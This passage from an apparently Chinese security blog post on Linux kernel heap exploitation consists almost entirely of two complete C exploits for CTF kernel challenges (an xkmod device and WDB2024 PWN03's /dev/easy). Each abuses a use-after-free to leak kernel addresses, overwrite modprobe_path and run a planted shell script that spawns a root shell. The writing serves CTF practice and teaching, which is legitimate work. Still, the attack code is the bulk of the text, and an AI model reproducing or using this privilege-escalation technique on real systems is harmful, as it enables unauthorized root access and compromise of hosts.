                
                  struct
                
                
                  Data
                
                
                  *
                
                
                  data
                
                )
              
              

              
                {
              
              

              
                    
                
                  ioctl
                
                (
                
                  fd
                
                , 
                
                  0x6666666
                
                , 
                
                  data
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void
                
                
                  read_buf
                
                (
                
                  int
                
                
                  fd
                
                , 
                
                  struct
                
                
                  Data
                
                
                  *
                
                
                  data
                
                )
              
              

              
                {
              
              

              
                    
                
                  ioctl
                
                (
                
                  fd
                
                , 
                
                  0x7777777
                
                , 
                
                  data
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  int
                
                
                  main
                
                ()
              
              

              
                {
              
              

              
                    
                
                  int
                
                
                  xkmod_fd
                
                [
                
                  5
                
                ];
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  5
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  xkmod_fd
                
                [
                
                  i
                
                ] 
                
                  =
                
                
                  open
                
                (
                
                  "/dev/xkmod"
                
                , 
                
                  O_RDONLY
                
                );
              
              

              
                        
                
                  if
                
                 (
                
                  xkmod_fd
                
                [
                
                  i
                
                ] 
                
                  <
                
                
                  0
                
                ) {
              
              

              
                            
                
                  printf
                
                (
                
                  "[-] %d Failed to open xkmod."
                
                , 
                
                  i
                
                );
              
              

              
                            
                
                  exit
                
                (
                
                  -
                
                
                  1
                
                );
              
              

              
                        }
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  struct
                
                
                  Data
                
                
                  data
                
                
                  =
                
                 {
                
                  malloc
                
                (
                
                  0x1000
                
                ), 
                
                  0
                
                , 
                
                  0x50
                
                };
              
              

              
                    
                
                  alloc_buf
                
                (
                
                  xkmod_fd
                
                [
                
                  0
                
                ], 
                
                  &
                
                
                  data
                
                );
              
              

              
                    
                
                  close
                
                (
                
                  xkmod_fd
                
                [
                
                  0
                
                ]);
              
              

              
                
                
              
              

              
                    
                
                  read_buf
                
                (
                
                  xkmod_fd
                
                [
                
                  1
                
                ], 
                
                  &
                
                
                  data
                
                );
              
              

              
                    
                
                  qword_dump
                
                (
                
                  "buf"
                
                , 
                
                  data
                
                .
                
                  buf
                
                , 
                
                  0x50
                
                );
              
              

              
                
                
              
              

              
                    
                
                  size_t
                
                
                  page_offset_base
                
                
                  =
                
                
                  data
                
                .
                
                  buf
                
                [
                
                  0
                
                ] 
                
                  &
                
                
                  0xFFFFFFFFF0000000
                
                ;
              
              

              
                    
                
                  printf
                
                (
                
                  "[+] page_offset_base: %p\n"
                
                , 
                
                  page_offset_base
                
                );
              
              

              
                
                
              
              

              
                    
                
                  data
                
                .
                
                  buf
                
                [
                
                  0
                
                ] 
                
                  =
                
                
                  page_offset_base
                
                
                  +
                
                
                  0x9d000
                
                
                  -
                
                
                  0x10
                
                ;
              
              

              
                    
                
                  write_buf
                
                (
                
                  xkmod_fd
                
                [
                
                  1
                
                ], 
                
                  &
                
                
                  data
                
                );
              
              

              
                    
                
                  alloc_buf
                
                (
                
                  xkmod_fd
                
                [
                
                  1
                
                ], 
                
                  &
                
                
                  data
                
                );
              
              

              
                    
                
                  alloc_buf
                
                (
                
                  xkmod_fd
                
                [
                
                  1
                
                ], 
                
                  &
                
                
                  data
                
                );
              
              

              
                
                
              
              

              
                    
                
                  data
                
                .
                
                  size
                
                
                  =
                
                
                  0x50
                
                ;
              
              

              
                    
                
                  read_buf
                
                (
                
                  xkmod_fd
                
                [
                
                  1
                
                ], 
                
                  &
                
                
                  data
                
                );
              
              

              
                    
                
                  qword_dump
                
                (
                
                  "buf"
                
                , 
                
                  data
                
                .
                
                  buf
                
                , 
                
                  0x50
                
                );
              
              

              
                    
              
              

              
                    
                
                  size_t
                
                
                  kernel_offset
                
                
                  =
                
                
                  data
                
                .
                
                  buf
                
                [
                
                  2
                
                ] 
                
                  -
                
                
                  0xffffffff81000030
                
                ;
              
              

              
                    
                
                  printf
                
                (
                
                  "kernel offset: %p\n"
                
                , 
                
                  kernel_offset
                
                );
              
              

              
                    
                
                  modprobe_path
                
                
                  +=
                
                
                  kernel_offset
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  close
                
                (
                
                  xkmod_fd
                
                [
                
                  1
                
                ]);
              
              

              
                    
                
                  data
                
                .
                
                  buf
                
                [
                
                  0
                
                ] 
                
                  =
                
                
                  modprobe_path
                
                
                  -
                
                
                  0x10
                
                ;
              
              

              
                    
                
                  write_buf
                
                (
                
                  xkmod_fd
                
                [
                
                  2
                
                ], 
                
                  &
                
                
                  data
                
                );
              
              

              
                    
                
                  alloc_buf
                
                (
                
                  xkmod_fd
                
                [
                
                  2
                
                ], 
                
                  &
                
                
                  data
                
                );
              
              

              
                    
                
                  alloc_buf
                
                (
                
                  xkmod_fd
                
                [
                
                  2
                
                ], 
                
                  &
                
                
                  data
                
                );
              
              

              
                    
                
                  strcpy
                
                ((
                
                  char
                
                
                  *
                
                ) 
                
                  &
                
                
                  data
                
                .
                
                  buf
                
                [
                
                  2
                
                ], 
                
                  "/home/shell.sh"
                
                );
              
              

              
                    
                
                  write_buf
                
                (
                
                  xkmod_fd
                
                [
                
                  2
                
                ], 
                
                  &
                
                
                  data
                
                );
              
              

              
                
                
              
              

              
                    
                
                  if
                
                 (
                
                  open
                
                (
                
                  "/home/shell.sh"
                
                , 
                
                  O_RDWR
                
                ) 
                
                  <
                
                
                  0
                
                ) {
              
              

              
                        
                
                  system
                
                (
                
                  "echo '#!/bin/sh' >> /home/shell.sh"
                
                );
              
              

              
                        
                
                  system
                
                (
                
                  "echo 'setsid cttyhack setuidgid 0 sh' >> /home/shell.sh"
                
                );
              
              

              
                        
                
                  system
                
                (
                
                  "chmod +x /home/shell.sh"
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  system
                
                (
                
                  "echo -e '\\xff\\xff\\xff\\xff' > /home/fake"
                
                );
              
              

              
                    
                
                  system
                
                (
                
                  "chmod +x /home/fake"
                
                );
              
              

              
                    
                
                  system
                
                (
                
                  "/home/fake"
                
                );
              
              

              
                
                
              
              

              
                    
                
                  return
                
                
                  0
                
                ;
              
              

              
                }
              
            

WDB2024 PWN03

利用思路

基本上和 RWCTF2022 Digging into kernel 1 & 2 是一样的,这道题大家拿去练手即可,建议大家自行分析题目,我只把我的exp贴在下面,但是建议大家自己写一个exp。

exp

              
                
                  #ifndef _GNU_SOURCE
                
              
              

              
                
                  #define _GNU_SOURCE
                
              
              

              
                
                  #endif
                
              
              

              
                
                
              
              

              
                
                  #include <asm/ldt.h>
                
              
              

              
                
                  #include <assert.h>
                
              
              

              
                
                  #include <ctype.h>
                
              
              

              
                
                  #include <errno.h>
                
              
              

              
                
                  #include <fcntl.h>
                
              
              

              
                
                  #include <linux/keyctl.h>
                
              
              

              
                
                  #include <linux/userfaultfd.h>
                
              
              

              
                
                  #include <poll.h>
                
              
              

              
                
                  #include <pthread.h>
                
              
              

              
                
                  #include <sched.h>
                
              
              

              
                
                  #include <semaphore.h>
                
              
              

              
                
                  #include <signal.h>
                
              
              

              
                
                  #include <stdbool.h>
                
              
              

              
                
                  #include <stdint.h>
                
              
              

              
                
                  #include <stdio.h>
                
              
              

              
                
                  #include <stdlib.h>
                
              
              

              
                
                  #include <string.h>
                
              
              

              
                
                  #include <sys/ioctl.h>
                
              
              

              
                
                  #include <sys/ipc.h>
                
              
              

              
                
                  #include <sys/mman.h>
                
              
              

              
                
                  #include <sys/msg.h>
                
              
              

              
                
                  #include <sys/prctl.h>
                
              
              

              
                
                  #include <sys/sem.h>
                
              
              

              
                
                  #include <sys/shm.h>
                
              
              

              
                
                  #include <sys/socket.h>
                
              
              

              
                
                  #include <sys/syscall.h>
                
              
              

              
                
                  #include <sys/types.h>
                
              
              

              
                
                  #include <sys/wait.h>
                
              
              

              
                
                  #include <sys/xattr.h>
                
              
              

              
                
                  #include <unistd.h>
                
              
              

              
                
                  #include <sys/io.h>
                
              
              

              
                
                
              
              

              
                
                  size_t
                
                
                  modprobe_path
                
                
                  =
                
                
                  0xFFFFFFFF81E58B80
                
                ;
              
              

              
                
                
              
              

              
                
                  void
                
                
                  qword_dump
                
                (
                
                  char
                
                
                  *
                
                
                  desc
                
                , 
                
                  void
                
                
                  *
                
                
                  addr
                
                , 
                
                  int
                
                
                  len
                
                )
              
              

              
                {
              
              

              
                    
                
                  uint64_t
                
                
                  *
                
                
                  buf64
                
                
                  =
                
                 (
                
                  uint64_t
                
                
                  *
                
                ) 
                
                  addr
                
                ;
              
              

              
                    
                
                  uint8_t
                
                
                  *
                
                
                  buf8
                
                
                  =
                
                 (
                
                  uint8_t
                
                
                  *
                
                ) 
                
                  addr
                
                ;
              
              

              
                    
                
                  if
                
                 (
                
                  desc
                
                
                  !=
                
                
                  NULL
                
                ) {
              
              

              
                        
                
                  printf
                
                (
                
                  "[*] %s:\n"
                
                , 
                
                  desc
                
                );
              
              

              
                    }
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  len
                
                
                  /
                
                
                  8
                
                ; 
                
                  i
                
                
                  +=
                
                
                  4
                
                ) {
              
              

              
                        
                
                  printf
                
                (
                
                  "  %04x"
                
                , 
                
                  i
                
                
                  *
                
                
                  8
                
                );
              
              

              
                        
                
                  for
                
                 (
                
                  int
                
                
                  j
                
                
                  =
                
                
                  0
                
                ; 
                
                  j
                
                
                  <
                
                
                  4
                
                ; 
                
                  j
                
                
                  ++
                
                ) {
              
              

              
                            
                
                  i
                
                
                  +
                
                
                  j
                
                
                  <
                
                
                  len
                
                
                  /
                
                
                  8
                
                
                  ?
                
                
                  printf
                
                (
                
                  " 0x%016lx"
                
                , 
                
                  buf64
                
                [
                
                  i
                
                
                  +
                
                
                  j
                
                ]) : 
                
                  printf
                
                (
                
                  "                   "
                
                );
              
              

              
                        }
              
              

              
                        
                
                  printf
                
                (
                
                  "   "
                
                );
              
              

              
                        
                
                  for
                
                 (
                
                  int
                
                
                  j
                
                
                  =
                
                
                  0
                
                ; 
                
                  j
                
                
                  <
                
                
                  32
                
                
                  &&
                
                
                  j
                
                
                  +
                
                
                  i
                
                
                  *
                
                
                  8
                
                
                  <
                
                
                  len
                
                ; 
                
                  j
                
                
                  ++
                
                ) {
              
              

              
                            
                
                  printf
                
                (
                
                  "%c"
                
                , 
                
                  isprint
                
                (
                
                  buf8
                
                [
                
                  i
                
                
                  *
                
                
                  8
                
                
                  +
                
                
                  j
                
                ]) 
                
                  ?
                
                
                  buf8
                
                [
                
                  i
                
                
                  *
                
                
                  8
                
                
                  +
                
                
                  j
                
                ] : 
                
                  '.'
                
                );
              
              

              
                        }
              
              

              
                        
                
                  puts
                
                (
                
                  ""
                
                );
              
              

              
                    }
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void
                
                
                  alloc_buf
                
                (
                
                  int
                
                
                  fd
                
                , 
                
                  int
                
                
                  size
                
                )
              
              

              
                {
              
              

              
                    
                
                  printf
                
                (
                
                  "[+] kmalloc %d\n"
                
                , 
                
                  size
                
                );
              
              

              
                    
                
                  ioctl
                
                (
                
                  fd
                
                , 
                
                  0x0
                
                , 
                
                  size
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void
                
                
                  free_buf
                
                (
                
                  int
                
                
                  fd
                
                )
              
              

              
                {
              
              

              
                    
                
                  printf
                
                (
                
                  "[+] kfree\n"
                
                );
              
              

              
                    
                
                  ioctl
                
                (
                
                  fd
                
                , 
                
                  0x1
                
                , 
                
                  0
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void
                
                
                  read_buf
                
                (
                
                  int
                
                
                  fd
                
                , 
                
                  size_t*
                
                
                  buf
                
                , 
                
                  int
                
                
                  size
                
                )
              
              

              
                {
              
              

              
                    
                
                  printf
                
                (
                
                  "[+] copy_to_user %d\n"
                
                , 
                
                  size
                
                );
              
              

              
                    
                
                  read
                
                (
                
                  fd
                
                , 
                
                  buf
                
                , 
                
                  size
                
                );
              
              

              
                    
                
                  qword_dump
                
                (
                
                  "read_buf"
                
                , 
                
                  buf
                
                , 
                
                  size
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void
                
                
                  write_buf
                
                (
                
                  int
                
                
                  fd
                
                , 
                
                  size_t*
                
                
                  buf
                
                , 
                
                  int
                
                
                  size
                
                )
              
              

              
                {
              
              

              
                    
                
                  printf
                
                (
                
                  "[+] copy_from_user %d\n"
                
                , 
                
                  size
                
                );
              
              

              
                    
                
                  qword_dump
                
                (
                
                  "write_buf"
                
                , 
                
                  buf
                
                , 
                
                  size
                
                );
              
              

              
                    
                
                  write
                
                (
                
                  fd
                
                , 
                
                  buf
                
                , 
                
                  size
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  int
                
                
                  main
                
                ()
              
              

              
                {
              
              

              
                    
                
                  size_t*
                
                
                  buf
                
                
                  =
                
                
                  malloc
                
                (
                
                  0x500
                
                );
              
              

              
                    
                
                  int
                
                
                  easy_fd
                
                ;
              
              

              
                    
                
                  easy_fd
                
                
                  =
                
                
                  open
                
                (
                
                  "/dev/easy"
                
                , 
                
                  O_RDWR
                
                );
              
              

              
                
                
              
              

              
                    
                
                  alloc_buf
                
                (
                
                  easy_fd
                
                , 
                
                  0xa8
                
                );
              
              

              
                    
                
                  free_buf
                
                (
                
                  easy_fd
                
                );
              
              

              
                
                
              
              

              
                    
                
                  read_buf
                
                (
                
                  easy_fd
                
                , 
                
                  buf
                
                , 
                
                  0xa8
                
                );
              
              

              
                
                
              
              

              
                    
                
                  size_t
                
                
                  page_offset_base
                
                
                  =
                
                
                  buf
                
                [
                
                  0
                
                ] 
                
                  &
                
                
                  0xFFFFFFFFF0000000
                
                ;
              
              

              
                    
                
                  printf
                
                (
                
                  "[*] page_offset_base %p\n"
                
                , 
                
                  page_offset_base
                
                );
              
              

              
                
                
              
              

              
                    
                
                  buf
                
                [
                
                  0
                
                ] 
                
                  =
                
                
                  page_offset_base
                
                
                  +
                
                
                  0x9d000
                
                
                  -
                
                
                  0x10
                
                ;
              
              

              
                    
                
                  write_buf
                
                (
                
                  easy_fd
                
                , 
                
                  buf
                
                , 
                
                  0x8
                
                );
              
              

              
                    
              
              

              
                    
                
                  alloc_buf
                
                (
                
                  easy_fd
                
                , 
                
                  0xa8
                
                );
              
              

              
                    
                
                  alloc_buf
                
                (
                
                  easy_fd
                
                , 
                
                  0xa8
                
                );
              
              

              
                
                
              
              

              
                    
                
                  read_buf
                
                (
                
                  easy_fd
                
                , 
                
                  buf
                
                , 
                
                  0xa8
                
                );
              
              

              
                    
              
              

              
                    
                
                  size_t
                
                
                  kernel_offset
                
                
                  =
                
                
                  buf
                
                [
                
                  2
                
                ] 
                
                  -
                
                
                  0xFFFFFFFF81000110
                
                ;
              
              

              
                    
                
                  printf
                
                (
                
                  "[*] kernel offset: %p\n"
                
                , 
                
                  kernel_offset
                
                );
              
              

              
                    
                
                  modprobe_path
                
                
                  +=
                
                
                  kernel_offset
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  buf
                
                [
                
                  0
                
                ] 
                
                  =
                
                
                  modprobe_path
                
                
                  -
                
                
                  0x20
                
                ;
              
              

              
                    
                
                  alloc_buf
                
                (
                
                  easy_fd
                
                , 
                
                  0xa8
                
                );
              
              

              
                    
                
                  free_buf
                
                (
                
                  easy_fd
                
                );
              
              

              
                
                
              
              

              
                    
                
                  write_buf
                
                (
                
                  easy_fd
                
                , 
                
                  buf
                
                , 
                
                  0x8
                
                );
              
              

              
                    
                
                  alloc_buf
                
                (
                
                  easy_fd
                
                , 
                
                  0xa8
                
                );
              
              

              
                    
                
                  alloc_buf
                
                (
                
                  easy_fd
                
                , 
                
                  0xa8
                
                );
              
              

              
                
                
              
              

              
                    
                
                  read_buf
                
                (
                
                  easy_fd
                
                , 
                
                  buf
                
                , 
                
                  0x20
                
                );
              
              

              
                    
                
                  strcpy
                
                ((
                
                  char
                
                
                  *
                
                ) 
                
                  &
                
                
                  buf
                
                [
                
                  4
                
                ], 
                
                  "/shell.sh\x00"
                
                );
              
              

              
                    
                
                  write_buf
                
                (
                
                  easy_fd
                
                , 
                
                  buf
                
                , 
                
                  0x30
                
                );
              
              

              
                
                
              
              

              
                    
                
                  if
                
                 (
                
                  open
                
                (
                
                  "/shell.sh"
                
                , 
                
                  O_RDWR
                
                ) 
                
                  <
                
                
                  0
                
                ) {
              
              

              
                        
                
                  system
                
                (
                
                  "echo '#!/bin/sh' >> /shell.sh"
                
                );
              
              

              
                        
                
                  system
                
                (
                
                  "echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /shell.sh"
                
                );
              
              

              
                        
                
                  system
                
                (
                
                  "chmod +x /shell.sh"
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  system
                
                (
                
                  "echo -e '\\xff\\xff\\xff\\xff' > /fake"
                
                );
              
              

              
                    
                
                  system
                
                (
                
                  "chmod +x /fake"
                
                );
              
              

              
                    
                
                  system
                
                (
                
                  "/fake"
                
                );
              
              

              
                
                
              
              

              
                    
                
                  return
                
                
                  0
                
                ;
              
              

              
                }
              
            

本文作者: dingjiacan@antvsion.com

本文为安全脉搏专栏作者发布,转载请注明: https://www.secpulse.com/archives/205676.html

赞(1)
未经允许不得转载:工具盒子 » Linux kernel 堆溢出利用方法(三)